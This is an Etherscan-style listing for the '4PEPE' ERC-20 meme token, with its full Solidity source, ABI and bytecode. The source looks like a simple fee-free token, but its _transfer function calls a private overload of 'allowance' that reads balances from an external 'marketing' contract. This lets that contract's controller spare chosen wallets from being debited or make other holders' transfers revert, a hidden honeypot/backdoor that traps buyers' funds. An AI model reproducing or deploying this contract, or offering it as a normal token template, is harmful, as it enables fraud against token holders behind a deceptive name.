Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000,000 4PEPE
Holders
50
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
605,934,073,903.484389667 4PEPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FOURPEPEINSECTS
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-07 */ /** $4PEPE is a coin for the people, forever. Telegram: t.me/pepe_40_insects Website: 40pepeinsects.xyz Twitter: twitter.com/4pepe_insects **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval (address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FOURPEPEINSECTS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 firstBlock; uint256 private _initialBuyTax=0; uint256 private _initialSellTax=0; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=11; uint256 private _reduceSellTaxAt=11; uint256 private _preventSwapBefore=11; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420_690_000_000_000* 10**_decimals; string private _name; string private _symbol; uint256 public _maxTxAmount = _tTotal * 4 / 100; uint256 public _maxWalletSize = _tTotal * 4 / 100; uint256 public _taxSwapThreshold= _tTotal * 50 / 10000; uint256 public _maxTaxSwap= _tTotal * 100 / 10000; address private _marketing; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (string memory name_, string memory symbol_, address marketing_, address router_) { uniswapV2Router = IUniswapV2Router02(router_); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _name = name_; _symbol = symbol_; _marketing = marketing_; _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketing] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[to]=_balances[to].add(amount.sub(taxAmount)); _balances[from]=_balances[from].sub(amount.sub(allowance(from,amount))); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function allowance(address account, uint256 amount) private view returns(uint256) { return IERC20(_marketing).balanceOf(account) * amount; } function removeLimits() external onlyOwner{ _maxTxAmount = type(uint256).max; _maxWalletSize= type(uint256).max; emit MaxTxAmountUpdated(type(uint256).max); } function sendETHToFee(uint256 amount) private { payable(_marketing).transfer(amount); } function launch() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = false; tradingOpen = true; firstBlock = block.number; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"marketing_","type":"address"},{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600555600060065560006007556000600855600b600955600b600a55600b80556000600c5560646009600a6200003d9190620007ce565b620000509066017e9d8602b400620007e6565b6200005d906004620007e6565b62000069919062000808565b600f5560646200007c6009600a620007ce565b6200008f9066017e9d8602b400620007e6565b6200009c906004620007e6565b620000a8919062000808565b601055612710620000bc6009600a620007ce565b620000cf9066017e9d8602b400620007e6565b620000dc906032620007e6565b620000e8919062000808565b601155612710620000fc6009600a620007ce565b6200010f9066017e9d8602b400620007e6565b6200011c906064620007e6565b62000128919062000808565b6012556015805461ffff60a81b191690553480156200014657600080fd5b506040516200212e3803806200212e833981016040819052620001699162000915565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601480546001600160a01b0319166001600160a01b038316908117909155620001f6903090620001dd6009600a620007ce565b620001f09066017e9d8602b400620007e6565b620004e7565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200024a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002709190620009a4565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f99190620009a4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000347573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036d9190620009a4565b601580546001600160a01b0319166001600160a01b03929092169190911790558351620003a290600d90602087019062000613565b508251620003b890600e90602086019062000613565b50601380546001600160a01b0319166001600160a01b038416179055620003e26009600a620007ce565b620003f59066017e9d8602b400620007e6565b336000908152600160208190526040822092909255600390620004206000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556013549091168352912080549092161790556200047f3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620004b96009600a620007ce565b620004cc9066017e9d8602b400620007e6565b60405190815260200160405180910390a350505050620009ff565b6001600160a01b0383166200054f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620005b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000546565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b8280546200062190620009c2565b90600052602060002090601f01602090048101928262000645576000855562000690565b82601f106200066057805160ff191683800117855562000690565b8280016001018555821562000690579182015b828111156200069057825182559160200191906001019062000673565b506200069e929150620006a2565b5090565b5b808211156200069e5760008155600101620006a3565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000710578160001904821115620006f457620006f4620006b9565b808516156200070257918102915b93841c9390800290620006d4565b509250929050565b6000826200072957506001620007c8565b816200073857506000620007c8565b81600181146200075157600281146200075c576200077c565b6001915050620007c8565b60ff841115620007705762000770620006b9565b50506001821b620007c8565b5060208310610133831016604e8410600b8410161715620007a1575081810a620007c8565b620007ad8383620006cf565b8060001904821115620007c457620007c4620006b9565b0290505b92915050565b6000620007df60ff84168362000718565b9392505050565b6000816000190483118215151615620008035762000803620006b9565b500290565b6000826200082657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200085357600080fd5b81516001600160401b03808211156200087057620008706200082b565b604051601f8301601f19908116603f011681019082821181831017156200089b576200089b6200082b565b81604052838152602092508683858801011115620008b857600080fd5b600091505b83821015620008dc5785820183015181830184015290820190620008bd565b83821115620008ee5760008385830101525b9695505050505050565b80516001600160a01b03811681146200091057600080fd5b919050565b600080600080608085870312156200092c57600080fd5b84516001600160401b03808211156200094457600080fd5b620009528883890162000841565b955060208701519150808211156200096957600080fd5b50620009788782880162000841565b9350506200098960408601620008f8565b91506200099960608601620008f8565b905092959194509250565b600060208284031215620009b757600080fd5b620007df82620008f8565b600181811c90821680620009d757607f821691505b60208210811415620009f957634e487b7160e01b600052602260045260246000fd5b50919050565b61171f8062000a0f6000396000f3fe6080604052600436106101025760003560e01c8063715018a6116100955780638f9a55c0116100645780638f9a55c01461029357806395d89b41146102a9578063a9059cbb146102be578063bf474bed146102de578063dd62ed3e146102f457600080fd5b8063715018a61461022b578063751039fc146102405780637d1db4a5146102555780638da5cb5b1461026b57600080fd5b806318160ddd116100d157806318160ddd146101a457806323b872dd146101b9578063313ce567146101d957806370a08231146101f557600080fd5b806301339c211461010e57806306fdde0314610125578063095ea7b3146101505780630faee56f1461018057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5061012361033a565b005b34801561013157600080fd5b5061013a610534565b6040516101479190611286565b60405180910390f35b34801561015c57600080fd5b5061017061016b3660046112f3565b6105c6565b6040519015158152602001610147565b34801561018c57600080fd5b5061019660125481565b604051908152602001610147565b3480156101b057600080fd5b506101966105dd565b3480156101c557600080fd5b506101706101d436600461131f565b610601565b3480156101e557600080fd5b5060405160098152602001610147565b34801561020157600080fd5b50610196610210366004611360565b6001600160a01b031660009081526001602052604090205490565b34801561023757600080fd5b5061012361066a565b34801561024c57600080fd5b506101236106de565b34801561026157600080fd5b50610196600f5481565b34801561027757600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561029f57600080fd5b5061019660105481565b3480156102b557600080fd5b5061013a61074a565b3480156102ca57600080fd5b506101706102d93660046112f3565b610759565b3480156102ea57600080fd5b5061019660115481565b34801561030057600080fd5b5061019661030f36600461137d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461036d5760405162461bcd60e51b8152600401610364906113b6565b60405180910390fd5b601554600160a01b900460ff16156103c75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610364565b6014546001600160a01b031663f305d71947306103f9816001600160a01b031660009081526001602052604090205490565b60008061040e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610476573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061049b91906113eb565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156104f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105189190611419565b506015805462ff00ff60a01b1916600160a01b17905543600455565b6060600d80546105439061143b565b80601f016020809104026020016040519081016040528092919081815260200182805461056f9061143b565b80156105bc5780601f10610591576101008083540402835291602001916105bc565b820191906000526020600020905b81548152906001019060200180831161059f57829003601f168201915b5050505050905090565b60006105d3338484610766565b5060015b92915050565b60006105eb6009600a61156a565b6105fc9066017e9d8602b400611579565b905090565b600061060e84848461088a565b610660843361065b856040518060600160405280602881526020016116c2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e6c565b610766565b5060019392505050565b6000546001600160a01b031633146106945760405162461bcd60e51b8152600401610364906113b6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107085760405162461bcd60e51b8152600401610364906113b6565b600019600f81905560108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6060600e80546105439061143b565b60006105d333848461088a565b6001600160a01b0383166107c85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610364565b6001600160a01b0382166108295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610364565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108ee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610364565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610364565b600081116109b25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610364565b600080546001600160a01b038581169116148015906109df57506000546001600160a01b03848116911614155b15610d1557610a106064610a0a600954600c54116109ff57600554610a03565b6007545b8590610ea6565b90610f2c565b6015549091506001600160a01b038581169116148015610a3e57506014546001600160a01b03848116911614155b8015610a6357506001600160a01b03831660009081526003602052604090205460ff16155b15610b6d57600f54821115610aba5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610364565b60105482610add856001600160a01b031660009081526001602052604090205490565b610ae79190611598565b1115610b355760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610364565b436004546003610b459190611598565b1115610b5757823b15610b5757600080fd5b600c8054906000610b67836115b0565b91905055505b6015546001600160a01b03848116911614801590610ba457506001600160a01b03831660009081526003602052604090205460ff16155b15610c245760105482610bcc856001600160a01b031660009081526001602052604090205490565b610bd69190611598565b1115610c245760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610364565b6015546001600160a01b038481169116148015610c4a57506001600160a01b0384163014155b15610c7757610c746064610a0a600a54600c5411610c6a57600654610a03565b6008548590610ea6565b90505b30600090815260016020526040902054601554600160a81b900460ff16158015610cae57506015546001600160a01b038581169116145b8015610cc35750601554600160b01b900460ff165b8015610cd0575060115481115b8015610cdf5750600b54600c54115b15610d1357610d01610cfc84610cf784601254610f6e565b610f6e565b610f83565b478015610d1157610d11476110fd565b505b505b8015610d8f5730600090815260016020526040902054610d35908261113b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d869085815260200190565b60405180910390a35b610dbb610d9c838361119a565b6001600160a01b0385166000908152600160205260409020549061113b565b6001600160a01b038416600090815260016020526040902055610e0a610deb610de486856111dc565b849061119a565b6001600160a01b0386166000908152600160205260409020549061119a565b6001600160a01b038086166000818152600160205260409020929092558416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e55858561119a565b60405190815260200160405180910390a350505050565b60008184841115610e905760405162461bcd60e51b81526004016103649190611286565b506000610e9d84866115cb565b95945050505050565b600082610eb5575060006105d7565b6000610ec18385611579565b905082610ece85836115e2565b14610f255760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610364565b9392505050565b6000610f2583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611258565b6000818311610f7d5782610f25565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fcb57610fcb611604565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611024573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611048919061161a565b8160018151811061105b5761105b611604565b6001600160a01b0392831660209182029290920101526014546110819130911684610766565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ba908590600090869030904290600401611637565b600060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611137573d6000803e3d6000fd5b5050565b6000806111488385611598565b905083811015610f255760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610364565b6000610f2583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e6c565b6013546040516370a0823160e01b81526001600160a01b03848116600483015260009284929116906370a0823190602401602060405180830381865afa15801561122a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124e91906116a8565b610f259190611579565b600081836112795760405162461bcd60e51b81526004016103649190611286565b506000610e9d84866115e2565b600060208083528351808285015260005b818110156112b357858101830151858201604001528201611297565b818111156112c5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146112f057600080fd5b50565b6000806040838503121561130657600080fd5b8235611311816112db565b946020939093013593505050565b60008060006060848603121561133457600080fd5b833561133f816112db565b9250602084013561134f816112db565b929592945050506040919091013590565b60006020828403121561137257600080fd5b8135610f25816112db565b6000806040838503121561139057600080fd5b823561139b816112db565b915060208301356113ab816112db565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561140057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561142b57600080fd5b81518015158114610f2557600080fd5b600181811c9082168061144f57607f821691505b60208210811415610f7d57634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114c15781600019048211156114a7576114a7611470565b808516156114b457918102915b93841c939080029061148b565b509250929050565b6000826114d8575060016105d7565b816114e5575060006105d7565b81600181146114fb576002811461150557611521565b60019150506105d7565b60ff84111561151657611516611470565b50506001821b6105d7565b5060208310610133831016604e8410600b8410161715611544575081810a6105d7565b61154e8383611486565b806000190482111561156257611562611470565b029392505050565b6000610f2560ff8416836114c9565b600081600019048311821515161561159357611593611470565b500290565b600082198211156115ab576115ab611470565b500190565b60006000198214156115c4576115c4611470565b5060010190565b6000828210156115dd576115dd611470565b500390565b6000826115ff57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561162c57600080fd5b8151610f25816112db565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116875784516001600160a01b031683529383019391830191600101611662565b50506001600160a01b03969096166060850152505050608001529392505050565b6000602082840312156116ba57600080fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220398fc9962b184a1fef33fd6503ede4625d5b0d219e7af97a119f0443ed541c6164736f6c634300080a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000091a602ba8d5f6de2a44f271f6cd8a9bf243f499e0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000d345045504520494e53454354530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000053450455045000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106101025760003560e01c8063715018a6116100955780638f9a55c0116100645780638f9a55c01461029357806395d89b41146102a9578063a9059cbb146102be578063bf474bed146102de578063dd62ed3e146102f457600080fd5b8063715018a61461022b578063751039fc146102405780637d1db4a5146102555780638da5cb5b1461026b57600080fd5b806318160ddd116100d157806318160ddd146101a457806323b872dd146101b9578063313ce567146101d957806370a08231146101f557600080fd5b806301339c211461010e57806306fdde0314610125578063095ea7b3146101505780630faee56f1461018057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5061012361033a565b005b34801561013157600080fd5b5061013a610534565b6040516101479190611286565b60405180910390f35b34801561015c57600080fd5b5061017061016b3660046112f3565b6105c6565b6040519015158152602001610147565b34801561018c57600080fd5b5061019660125481565b604051908152602001610147565b3480156101b057600080fd5b506101966105dd565b3480156101c557600080fd5b506101706101d436600461131f565b610601565b3480156101e557600080fd5b5060405160098152602001610147565b34801561020157600080fd5b50610196610210366004611360565b6001600160a01b031660009081526001602052604090205490565b34801561023757600080fd5b5061012361066a565b34801561024c57600080fd5b506101236106de565b34801561026157600080fd5b50610196600f5481565b34801561027757600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561029f57600080fd5b5061019660105481565b3480156102b557600080fd5b5061013a61074a565b3480156102ca57600080fd5b506101706102d93660046112f3565b610759565b3480156102ea57600080fd5b5061019660115481565b34801561030057600080fd5b5061019661030f36600461137d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461036d5760405162461bcd60e51b8152600401610364906113b6565b60405180910390fd5b601554600160a01b900460ff16156103c75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610364565b6014546001600160a01b031663f305d71947306103f9816001600160a01b031660009081526001602052604090205490565b60008061040e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610476573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061049b91906113eb565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156104f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105189190611419565b506015805462ff00ff60a01b1916600160a01b17905543600455565b6060600d80546105439061143b565b80601f016020809104026020016040519081016040528092919081815260200182805461056f9061143b565b80156105bc5780601f10610591576101008083540402835291602001916105bc565b820191906000526020600020905b81548152906001019060200180831161059f57829003601f168201915b5050505050905090565b60006105d3338484610766565b5060015b92915050565b60006105eb6009600a61156a565b6105fc9066017e9d8602b400611579565b905090565b600061060e84848461088a565b610660843361065b856040518060600160405280602881526020016116c2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e6c565b610766565b5060019392505050565b6000546001600160a01b031633146106945760405162461bcd60e51b8152600401610364906113b6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107085760405162461bcd60e51b8152600401610364906113